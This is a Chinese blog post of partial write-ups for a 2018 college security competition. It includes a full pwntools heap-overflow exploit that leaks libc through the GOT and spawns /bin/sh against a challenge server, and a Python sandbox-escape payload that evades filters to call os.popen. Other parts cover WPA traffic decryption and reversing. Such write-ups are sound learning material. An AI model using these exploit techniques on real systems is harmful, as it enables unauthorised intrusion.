2018年全国大学生信息安全竞赛部分WriteUp

目录

Pwn

Web

Crypto

Misc

Reverse


Pwn

supermarket

分析可知新输入的size重新调整了堆的大小但是没有更新结构体中的size 而输入的数据大小是根据结构体中的size计算的所有存在堆溢出通过溢出下一个结构体 实现任意读写

#!/usr/bin env python

from pwn import*

context.log_level = 'debug'


p =remote('49.4.23.162',31128)

def add(name,price,descrip_size,description):
    p.recvuntil("your choice>> ")
    p.sendline("1")
    p.recvuntil("name:")
    p.sendline(name)
    p.recvuntil("price:")
    p.sendline(str(price))
    p.recvuntil("descrip_size:")
    p.sendline(str(descrip_size))
    p.recvuntil("description:")
    p.sendline(description)

def free(name):
    p.recvuntil("your choice>> ")
    p.sendline("2")
    p.recvuntil("name:")
    p.sendline(name)

def change_price(name,price):
    p.recvuntil("your choice>> ")
    p.sendline("4")
    p.recvuntil("name:")
    p.sendline(name)
    p.recvuntil("input the value you want to cut or rise in:")
    p.sendline(str(price))


def change_des(name,descrip_size,description):
    p.recvuntil("your choice>> ")
    p.sendline("5")
    p.recvuntil("name:")
    p.sendline(name)
    p.recvuntil("descrip_size:")
    p.sendline(str(descrip_size))
    p.recvuntil("description:")
    p.sendline(description)




def list():
    p.recvuntil("your choice>> ")
    p.sendline("3")

got = 0x804b038#0x804b038

add("A",0x10,0x100,"AAAA")    

change_des("A",8,"C"*7+"\x00")
add("B",0x10,0x100,"BBBB")


payload = "B"*12+ p32(0x21) + p32(0x42) + "B"*12 + p32(0x00) +p32(0x100) +p32(got)

change_des('A',100,payload+'\n')
list()

p.recvuntil("B: price.0, des.")
addr = p.recvn(4)

print"addr:",hex(u32(addr))

libc = u32(addr) - 0x18540#0x49020
system_addr = libc + 0x3a940

print"libc:",hex(libc)
print"system_addr:",hex(system_addr)

change_des("B",0x100,p32(system_addr)*5)#+'\n'

p.send('/bin/sh\x00')
p.interactive()

Web

easyweb

:pensive: :pensive: :pensive: 这题神坑,折腾了我好久弱口令,注入什么的都来了一次。
试到最后发现是admin空密码登录

Crypto

flag_in_your_hand

首先我们定位到ch()函数

分析逻辑,我们发现其实只要将a数组里的每一个都减去三就行了
得到新数组[115,101,99,117,114,105,116,121,45,120,98,118]
将其转换成字符串并输入

Misc

picture

使用binwalk分离得到两个文件


打开mx发现是一个base64,将base64转换成文本发现PK字样猜测是压缩包

将其还原,然后修复文件头得到压缩包。发现有密码,根据提示猜测密码为integer division or modulo by zero,解压得到一个code文件,查阅文章得知是tar.gz.uu文件,重命名后解压得到flag

验证码

上去随便点几个,然后返回成绩单,刷新下就能看见flag了

Run

nc连上发现是一个python沙盒逃逸,一些能引发命令执行的库全部被禁用了。
最后在网上发现这么一个文章 https://blog.csdn.net/qq_35078631/article/details/78504415

发现func_globals被过滤了,我们使用__getattribute__绕过,例如ls一类的关键字我们使用这样的形式拆分'l'+'s /home/ctf'
最终payload

print ().__class__.__mro__[-1].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')["linecache"].__dict__['o'+'s'].__dict__['popen' ]('ca'+'t /home/ctf/5c72a1d444cf3121a5d25f2db4147ebb').read ()

寻找入侵者

在我们获得了数据包之后,这些客户端和AP之间的通信是被加密了的,但是我们如果知道SSID和无线密码可以解密这些流量了,根据提示我们知道了无线密码是入侵者的MAC地址,自己流量分析不太好,于是我提取了所有的MAC地址进行爆破

然后使用wireshark官网自带的工具(WPA-PSK生成工具)生成WPA-PSK


之后我们就能看见解密后的数据包了

可以看到下载了一个key.pacp的流量包。我们直接下载过来,flag就在最后一个数据包里面

Reverse

RE

跟踪main函数发现三个函数

三个里面都有一串类似类似md5一样的东西
第一个编写脚本直接解密得到md5然后去cmd5查询

第二个数组dump出来 逐字节异或

得到md5
最后一个dump文件还原

三段拼接在一起得到flag

2ex

直接暴力破解
三个字符一组

已有 3 条评论

  1. whatiwhere whatiwhere

    web空城计6了

  2. mk mk

    老哥,misc入侵者那道题咋一下把所有mac地址提取出来

    1. 在wireshark里面有这个功能的

添加新评论